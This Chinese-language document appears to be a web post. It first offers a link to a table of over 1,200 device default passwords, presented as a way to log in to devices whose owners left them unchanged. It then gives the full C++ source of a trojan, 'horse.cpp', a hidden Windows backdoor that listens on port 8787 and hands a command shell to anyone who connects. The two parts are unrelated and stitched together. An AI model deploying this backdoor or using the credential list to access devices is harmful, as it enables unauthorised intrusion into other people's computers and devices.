各個廠商在出產裝置時,通常都會有配一組預設的帳號密碼,而大部分使用者都會去改掉這組帳密,不過卻有一些使用者認為這東西不用改,所以只要取得這組預設密碼,就可以登入了,我在這邊幫各位整理了1200多筆的機型對其預設密碼的表格,連結是:https://drive.google.com/file/d/1TWSaZTRHwlwqiFyLO93pp1aRACHREx62/view?usp=sharing
抓的都有點舊,如果你有其他的預設密碼,歡迎到我們的粉專(歐維斯福利社)提供喔!
// horse.cpp : 定義主控台應用程式的進入點。 // #include "stdafx.h" #pragma comment(lib, "ws2_32.lib") #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") #include <winsock2.h> #include <windows.h> #define MasterPort 8787 //宣告端口 int main(int argc, char *argv[]) { WSADATA WSADa; sockaddr_in SockAddrIn; SOCKET CSocket, SSocket; int iAddrSize; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; LPWSTR szCMDPath = new TCHAR[256]; ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo, sizeof(STARTUPINFO)); ZeroMemory(&WSADa, sizeof(WSADATA)); GetEnvironmentVariable(L"COMSPEC", szCMDPath, 256);//取得CMD位址 WSAStartup(0x0202, &WSADa); SockAddrIn.sin_family = AF_INET; SockAddrIn.sin_addr.s_addr = INADDR_ANY; SockAddrIn.sin_port = htons(MasterPort); CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); bind(CSocket, (sockaddr *)&SockAddrIn, sizeof(SockAddrIn)); listen(CSocket, 5); iAddrSize = sizeof(SockAddrIn); while ((SSocket = accept(CSocket, (sockaddr *)&SockAddrIn, &iAddrSize))) { StartupInfo.cb = sizeof(STARTUPINFO); StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartupInfo.hStdInput = (HANDLE)SSocket; StartupInfo.hStdOutput = (HANDLE)SSocket; StartupInfo.hStdError = (HANDLE)SSocket; CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);//執行cmd WaitForSingleObject(ProcessInfo.hProcess, INFINITE);//等待執行敘結束 CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); closesocket(SSocket); } closesocket(CSocket); WSACleanup(); return 0; }